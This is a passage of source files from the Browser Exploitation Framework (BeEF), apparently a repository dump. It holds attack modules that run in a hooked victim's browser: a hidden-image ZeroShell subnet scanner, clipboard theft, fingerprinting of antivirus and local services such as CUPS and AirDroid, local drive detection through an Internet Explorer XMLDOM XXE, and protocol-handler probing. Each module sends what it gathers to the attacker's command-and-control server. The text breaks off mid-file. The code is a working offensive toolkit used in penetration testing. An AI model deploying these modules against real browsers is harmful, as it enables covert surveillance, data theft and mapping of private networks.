/^([1-9]\\d*|0[0-7]*|0x[\\da-f]+)(?:\\.([1-9]\\d*|0[0-7]*|0x[\\da-f]+))?(?:\\.([1-9]\\d*|0[0-7]*|0x[\\da-f]+))?(?:\\.([1-9]\\d*|0[0-7]*|0x[\\da-f]+))?$/i\n  ); // Verify IP format.\n  if (!IP) {\n    // Invalid format.\n    return false;\n  }\n  // Reuse IP variable for component counter.\n  IP[0] = 0;\n  for (i = 1; i < 5; i += 1) {\n    IP[0] += !! ((IP[i] || '')\n      .length);\n    IP[i] = parseInt(IP[i]) || 0;\n  }\n  // Continue to use IP for overflow values.\n  // PHP does not allow any component to overflow.\n  IP.push(256, 256, 256, 256);\n  // Recalculate overflow of last component supplied to make up for missing components.\n  IP[4 + IP[0]] *= Math.pow(256, 4 - IP[0]);\n  if (IP[1] >= IP[5] || IP[2] >= IP[6] || IP[3] >= IP[7] || IP[4] >= IP[8]) {\n    return false;\n  }\n  return IP[1] * (IP[0] === 1 || 16777216) + IP[2] * (IP[0] <= 2 || 65536) + IP[3] * (IP[0] <= 3 || 256) + IP[4] * 1;\n}\n\n// Function added to convert long to string IPv4\nfunction long2ip(ip) {\n  //  discuss at: http://phpjs.org/functions/long2ip/\n  //  original by: Waldo Malqui Silva (http://waldo.malqui.info)\n  //   example 1: long2ip( 3221234342 );\n  //   returns 1: '192.0.34.166'\n  if (!isFinite(ip))\n    return false;\n  return [ip >>> 24, ip >>> 16 & 0xFF, ip >>> 8 & 0xFF, ip & 0xFF].join('.');\n}\n\nvar ip_from_long \t= ip2long(ip_start); \t// Convert string IPv4 start range to long\nvar ip_to_long \t\t= ip2long(ip_end);\t\t// Convert string IPv4 end range to long\n\nbeef.execute(function() {\n\tvar result \t= \"\"; // Buffer to retrieve results\n\tvar div \t= document.createElement('div'); // Hidden div container\n\tdiv.setAttribute('style', 'display:none;');\n\tdocument.body.appendChild(div);\n\n\tadd = function(data){\n\t\tresult += data + \" \";\n\t}\n\n\t// Scan function to inject <img> markups in victim's DOM.\n\t// This function is recalled by herself to scan each IP bloc of the IP range defined\n\tscan = function(){\n\t\tvar i = 0; // Counter compared to IP bloc size\n\t\tvar ip_from_long_bloc = ip_from_long; // Save the begining IPv4 address for the current bloc\n\t\tbeef.debug(\"[ZeroShell_2.0RC2_scanner] Scan the subnet block from \" + long2ip(ip_from_long) + \" to \" + long2ip(ip_to_long) + \".\");\n\t\twhile((ip_from_long <= ip_to_long) && (i < ip_bloc)){\n\t\t\tvar img = document.createElement('img');\n\t\t\tvar ip = long2ip(ip_from_long);\n\t\t\timg.setAttribute('src', \"http://\" + ip + imgPath); \t// Payload to detect ZeroShell instance\n\t\t\timg.setAttribute('onload', \"add('\" + ip + \"');\");\t// Event triggered of ZeroShell is detected\n\t\t\tdiv.appendChild(img); // Add current <img> markup to the hidden div in the victim's DOM\n\t\t\tip_from_long++; // Increment long IPv4\n\t\t\ti++;\n\t\t}\n\t\tvar ip_to_long_bloc = ip_from_long; // Save the ending IPv4 address for the current bloc\n\n\t\t// Function to return results of the current bloc scanned to BeEF C&C, after \"timeout\" ms waited.\n\t\tgetResult = function(){\n\t\t\tif(result.trim() != \"\")\n\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Result= Bloc [\" + long2ip(ip_from_long_bloc) + \" - \" + long2ip(ip_to_long_bloc-1) + \"] ZeroShell(s) detected : [ \" + result + \"]\", beef.are.status_success());\n\t\t\telse\n\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Result= Bloc [\" + long2ip(ip_from_long_bloc) + \" - \" + long2ip(ip_to_long_bloc-1) + \"] No ZeroShell detected on that IP range bloc...\", beef.are.status_unknown());\n\t\t\tdiv.innerHTML = \"\"; // Clean the current DOM's div\n\t\t\tresult = \"\"; // Clear the result of the bloc tested for the next loop\n\t\t}\n\t\tsetTimeout(\"getResult()\", timeout); // Wait \"timeout\" ms before sending results to BeEF C&C of the current bloc.\n\t\tif(ip_from_long <= ip_to_long) // While we don't have test all IPv4 in the range\n\t\t\tsetTimeout(\"scan()\", timeout*1.5); // Re-call the scan() function to proceed with the next bloc\n\t\telse // We have reach the last IP address to scan\n\t\t\tsetTimeout(function(){ // Clear the victim's DOM and tell to BeEF C&C that the scan is complete\n\t\t\t\tdocument.body.removeChild(div);\n\t\t\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Result= Scan is complete on the defined range [\" + ip_start + \" - \" + ip_end + \"] (DOM cleared)\", beef.are.status_success());\n\t\t\t}, timeout*2);\n\t}\n\n\tscan(); // Run the first bloc scan\n});\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        zeroshell_2_0rc2_scanner:\n            enable: true\n            category: [\"Exploits\", \"ZeroShell\"]\n            name: \"ZeroShell <= 2.0RC2 Scanner\"\n            description: \"Attempts to scan and detect ZeroShell <= 2.0RC2 instance over the victim's network.<br />Vulnerability found and PoC provided by Yann CAM <a href='http://www.asafety.fr' target='_blank'>@ASafety</a> / <a href='http://www.synetis.com' target='_blank'>Synetis</a>.<br />BeEF module originally created by ycam.<br />For more information refer to <a href='http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt' target='_blank'>http://packetstormsecurity.com/files/122799/zeroshell-execdisclose.txt</a><br />Patched in version 2.0RC3.<br />\"\n            authors: [\"ycam\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/zeroshell/zeroshell_2_0rc2_scanner/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Zeroshell_2_0rc2_scanner < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ip_start', 'ui_label' => 'From IP', 'value' => '192.168.0.1' },\n      { 'name' => 'ip_end', 'ui_label' => 'To IP', 'value' => '192.168.0.254' },\n      { 'name' => 'timeout', 'ui_label' => 'Get result in (ms)', 'value' => '30000' },\n      { 'name' => 'ip_bloc', 'ui_label' => 'Scan per bloc (ip)', 'value' => '100' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/host/clipboard_theft/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  try {\n    var clipboard = clipboardData.getData(\"Text\");\n    beef.debug(\"[Clipboard Theft] Success: Retrieved clipboard contents (\" + clipboard.length + ' bytes)');\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"clipboard=\"+clipboard, beef.are.status_success());\n  } catch (e) {\n    beef.debug(\"[Clipboard Theft] Error: Could not retrieve clipboard contents\");\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=clipboardData.getData is not supported.\", beef.are.status_error());\n  }\n});\n"
  },
  {
    "path": "modules/host/clipboard_theft/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        clipboard_theft:\n            enable: true\n            category: \"Host\"\n            name: \"Get Clipboard\"\n            description: \"Retrieves the clipboard contents. This module works invisibly with Internet Explorer 6.x however Internet Explorer 7.x - 8.x will prompt the user for permission to access the clipboard.\"\n            authors: [\"bcoles\"]\n            target:\n                working: \n                    IE:\n                        min_ver: 6\n                        max_ver: 6\n                user_notify:\n                    IE:\n                        min_ver: 7\n                        max_ver: 8\n                not_working: [\"All\"]\n\n"
  },
  {
    "path": "modules/host/clipboard_theft/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Clipboard_theft < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['clipboard'] = @datastore['clipboard']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_airdroid/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = \"Not Installed\";\n\tvar dom = document.createElement('b');\n\tvar img = new Image;\n\timg.src = \"http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png\";\n\timg.onload = function() {\n\t\tif (this.width == 146 && this.height == 176) result = \"Installed\";\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());\n\t\tdom.removeChild(this);\n\t}\n\timg.onerror = function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());\n\t\tdom.removeChild(this);\n\t}\n\tdom.appendChild(img);\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_airdroid/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_airdroid:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Airdroid\"\n            description: \"This module attempts to detect Airdroid application for Android running on localhost (default port: 8888)\"\n            authors: [\"bcoles\"]\n            target:\n                working:\n                    ALL:\n                        os: [\"Android\"]\n                not_working:\n                    ALL:\n                        os: [\"All\"]\n"
  },
  {
    "path": "modules/host/detect_airdroid/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_airdroid < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1' },\n      { 'name' => 'port', 'ui_label' => 'Port', 'value' => '8888' }\n    ]\n  end\n\n  def post_execute\n    save({ 'airdroid' => @datastore['airdroid'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proto=(https?)&ip=([\\d.]+)&port=(\\d+)&airdroid=Installed$/\n\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    session_id = @datastore['beefhook']\n    type = 'Airdroid'\n\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found 'Airdroid' [proto: #{proto}, ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_antivirus/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n    //Detection of av elements starts\n        var image = \"<body><img src='x'/></body>\";\n        var hidden_iframe = beef.dom.createInvisibleIframe();\n        hidden_iframe.setAttribute(\"id\", \"frmin\");\n        document.body.appendChild(hidden_iframe);\n        var kaspersky_iframe = hidden_iframe.contentDocument || hidden_iframe.contentWindow.document;\n        kaspersky_iframe.open();\n        kaspersky_iframe.write(image);\n        kaspersky_iframe.close();\n\n        var frm = document.getElementById(\"frmin\");\n        ka = frm.contentDocument.getElementsByTagName(\"html\")[0].outerHTML;\n        var AV = document.getElementById(\"abs-top-frame\");\n        var NAV = document.getElementById(\"coFrameDiv\");\n        var ASWregexp = new RegExp(\"ASW\\/\");\n    //Detection of av elements ends\n\n\tif (ASWregexp.test(navigator.userAgent))\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avast');\n    if (ka.indexOf(\"kasperskylab_antibanner\") !== -1)\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Kaspersky');\n    else if (ka.indexOf(\"netdefender/hui/ndhui.js\") !== -1)\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Bitdefender');\n    else if (AV !== null) {\n        if (AV.outerHTML.indexOf('/html/top.html') >= 0 & AV.outerHTML.indexOf('chrome-extension://') >= 0)\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Avira');\n    } else if (NAV !== null) {\n        var nort = NAV.outerHTML;\n        if (nort.indexOf('coToolbarFrame') >= 0 & nort.indexOf('/toolbar/placeholder.html') >= 0 & nort.indexOf('chrome-extension://') >= 0)\n            beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Norton');\n    } else if (document.getElementsByClassName('drweb_btn').length > 0)\n        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=DrWeb');\n    else beef.net.send('<%= @command_url %>', <%= @command_id %>, 'antivirus=Not Detected');\n\n});\n"
  },
  {
    "path": "modules/host/detect_antivirus/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_antivirus:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Antivirus\"\n            description: \"This module detects the javascript code automatically included by some AVs (currently supports detection for Kaspersky, Avira, Avast (ASW), BitDefender, Norton, Dr. Web)\"\n            authors: [\"phosphore\",\"vah13\",\"nbblrr\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_antivirus/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_antivirus < BeEF::Core::Command\n  def post_execute\n    save({ 'Antivirus' => @datastore['antivirus'] })\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_coupon_printer/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if (!beef.browser.hasWebSocket()) {\n    beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets');\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=unsupported browser\", beef.are.status_error());\n  }\n\n  //var url = 'ws://127.0.0.1:2687';\n  //var url = 'ws://127.0.0.1:26876';\n  var url = 'wss://printer.cpnprt.com:4004'; // resolves to 127.0.0.1\n\n  beef.debug('[Detect Coupon Printer] Opening WebSocket connection: ' + url);\n  const socket = new WebSocket(url);\n\n  socket.addEventListener('open', function (event) {\n\n    // Get Coupon Printer Service version\n    socket.send('method=GetVersion;input=Y|;separator=|');\n\n    // Device ID\n    socket.send('method=GetDeviceID;input=Y|;separator=|');\n\n    // Check Printer\n    socket.send('method=CheckPrinter;input=Y|;separator=|');\n\n  });\n\n  socket.onerror = function(error) {\n    beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error));\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=could not detect coupon printer\", beef.are.status_error());\n  };\n\n  socket.onclose = function(event) {\n    beef.debug('[Detect Coupon Printer] Disconnected from WebSocket.');\n  };\n\n  socket.addEventListener('message', function (event) {\n    beef.debug('[Detect Coupon Printer] WebSocket Response:' + event.data);\n    try {\n      var result = JSON.parse(event.data);\n      if (result['GetVersion']) {\n        beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']);\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"GetVersion=\" + result['GetVersion'], beef.are.status_success());\n      } else if (result['GetDeviceID']) {\n        beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']);\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"GetDeviceID=\" + result['GetDeviceID'], beef.are.status_success());\n      } else if (result['CheckPrinter']) {\n        beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']);\n        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"CheckPrinter=\" + result['CheckPrinter'], beef.are.status_success());\n      }\n    } catch(e) {\n      beef.debug('Could not parse WebSocket response JSON: ' + event.data);\n    }\n  });\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_coupon_printer/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_coupon_printer:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Coupon Printer\"\n            description: \"This module attempts to detect Coupon Printer on localhost on the default WebSocket port 4004.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_coupon_printer/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_coupon_printer < BeEF::Core::Command\n  def post_execute\n    save({ 'result' => @datastore['results'] })\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_cups/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar result = \"Not Installed\";\n\tvar dom = document.createElement('b');\n\tvar img = new Image;\n\timg.src = \"http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png\";\n\timg.onload = function() {\n\t\tif (this.width == 128 && this.height == 128) result=\"Installed\";\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success());\n\t\tdom.removeChild(this);\n\t}\n\timg.onerror = function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error());\n\t\tdom.removeChild(this);\n\t}\n\tdom.appendChild(img);\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_cups/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_cups:\n            enable: true\n            category: \"Host\"\n            name: \"Detect CUPS\"\n            description: \"This module attempts to detect Common UNIX Printing System (CUPS) on localhost on the default port 631.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_cups/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_cups < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1' },\n      { 'name' => 'port', 'ui_label' => 'Port', 'value' => '631' }\n    ]\n  end\n\n  def post_execute\n    save({ 'CUPS' => @datastore['cups'] })\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n    return unless @datastore['results'] =~ /^proto=(https?)&ip=([\\d.]+)&port=(\\d+)&cups=Installed$/\n\n    proto = Regexp.last_match(1)\n    ip = Regexp.last_match(2)\n    port = Regexp.last_match(3)\n    session_id = @datastore['beefhook']\n    type = 'CUPS'\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found 'CUPS' [proto: #{proto}, ip: #{ip}, port: #{port}]\")\n      BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: type)\n    end\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_default_browser/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\nbeef.execute(function() {\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"browser=\"+beef.os.getDefaultBrowser());\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_default_browser/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_default_browser:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Default Browser\"\n            description: \"This module detects which browser is configured as the default web browser.\"\n            authors: [\"unsticky\"]\n            target:\n                 working: [\"IE\"]\n                 not_working: [\"All\"]\n"
  },
  {
    "path": "modules/host/detect_default_browser/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Detect_default_browser < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['browser'] = @datastore['browser'] unless @datastore['browser'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_google_desktop/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar dom = document.createElement('b');\n\tvar img = new Image;\n\timg.src = \"http://127.0.0.1:4664/logo3.gif\";\n\timg.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); }\n\timg.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); }\n\tdom.appendChild(img);\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_google_desktop/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_google_desktop:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Google Desktop\"\n            description: \"This module attempts to detect Google Desktop running on the default port 4664.\"\n            authors: [\"bcoles\"]\n            target:\n                not_working:\n                    ALL:\n                        os: [\"iOS\"]\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_google_desktop/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_google_desktop < BeEF::Core::Command\n  def post_execute\n    save({ 'GoogleDesktop' => @datastore['google_desktop'] })\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_hp/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar is_hp = new Array;\n\tvar dom = document.createElement('b');\n\n\tparse_results = function() {\n\t\tvar result = \"false\";\n\t\tif (is_hp.length) result = \"true\";\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"is_hp=\"+result);\n\t};\n\n\tvar fingerprints = new Array(\n\t\tnew Array(\"warning\",\"res://hpnetworkcheckplugin.dll/warning.jpg\"),\n\t\tnew Array(\"hpr_rgb\",\"res://hpnetworkcheckplugin.dll/HPR_D_B_RGB_72_LG.png\")\n\t);\n\n\tfor (var i=0; i<fingerprints.length; i++) {\n\t\tvar img = new Image;\n\t\timg.id = fingerprints[i][0];\n\t\timg.name = fingerprints[i][0];\n\t\timg.src = fingerprints[i][1];\n\t\timg.onload = function() { is_hp.push(this.id); dom.removeChild(this); }\n\t\tdom.appendChild(img);\n\t}\n\n\tsetTimeout('parse_results();', 2000);\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_hp/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_hp:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Hewlett-Packard\"\n            description: \"This module attempts to detect software installed by default on HP systems. It uses the 'res' protocol handler which works only on Internet Explorer.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_hp/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n##\nclass Detect_hp < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['is_hp'] = @datastore['is_hp'] unless @datastore['is_hp'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_local_drives/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  if (!(\"ActiveXObject\" in window)) {\n    beef.debug('[Detect Users] Unspported browser');\n    beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());\n    return false;\n  }\n\n  function detect_drive(drive) {\n    var dtd = drive + ':\\\\';\n    var xml = '<?xml version=\"1.0\" ?><!DOCTYPE anything SYSTEM \"' + dtd + '\">';\n    var xmlDoc = new ActiveXObject(\"Microsoft.XMLDOM\");\n    xmlDoc.async = true;\n    try {\n      xmlDoc.loadXML(xml);\n      return xmlDoc.parseError.errorCode == 0 ? true : false;\n    } catch (e) {\n      return true;\n    }\n  }\n\n  // Detect drives: A - Z\n  for (var i = 65; i <= 90; i++) {\n    var drive = String.fromCharCode(i);\n    beef.debug('[Detect Local Drives] Checking for drive: ' + drive);\n    var result = detect_drive(drive);\n    if (result) {\n      beef.debug('[Detect Local Drives] Found drive: ' + drive);\n      beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());\n    }\n  }\n\n});\n\n"
  },
  {
    "path": "modules/host/detect_local_drives/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        detect_local_drives:\n            enable: true\n            category: \"Host\"\n            name: \"Detect Local Drives\"\n            description: \"This module attempts to detect local drives on the user's system using <a href='https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/'>Internet Explorer XMLDOM XXE</a> discovered by Soroush Dalili (@irsdl).\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"IE\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/host/detect_local_drives/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Detect_local_drives < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/host/detect_protocol_handlers/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// Initialize\n\tvar handler_results = new Array;\n\tvar handler_protocol = \"<%= @handler_protocol %>\".split(/\\s*,\\s*/);\n\tvar handler_addr = \"<%= @handler_addr %>\";\n\tvar iframe = beef.dom.createInvisibleIframe();\n\n\t// Internet Explorer\n\tif (beef.browser.isIE()) {\n\n\t\tvar protocol_link = document.createElement('a');\n\t\tprotocol_link.setAttribute('id', \"protocol_link\");\n\t\tprotocol_link.setAttribute('href', \"\");\n\t\tiframe.contentWindow.document.appendChild(protocol_link);\n\n\t\tfor (var i=0; i<handler_protocol.length; i++) {\n\t\t\tvar result = \"\";\n\t\t\tvar protocol = handler_protocol[i];\n\t\t\ttry {\n\t\t\t\tvar anchor = iframe.contentWindow.document.getElementById(\"protocol_link\");\n\t\t\t\tanchor.href = protocol+\"://\"+handler_addr;\n\t\t\t\tif (anchor.protocolLong == \"Unknown Protocol\")\n\t\t\t\t     result = protocol + \" unknown\";\n\t\t\t\telse result = protocol + \" exists\";\n\t\t\t} catch(e) {\n\t\t\t\tresult = protocol + \" does not exist\";\n\t\t\t}\n\t\t\thandler_results.push(result);\n\t\t}\n\t\tiframe.contentWindow.document.removeChild(protocol_link);\n\t}\n\n\t// 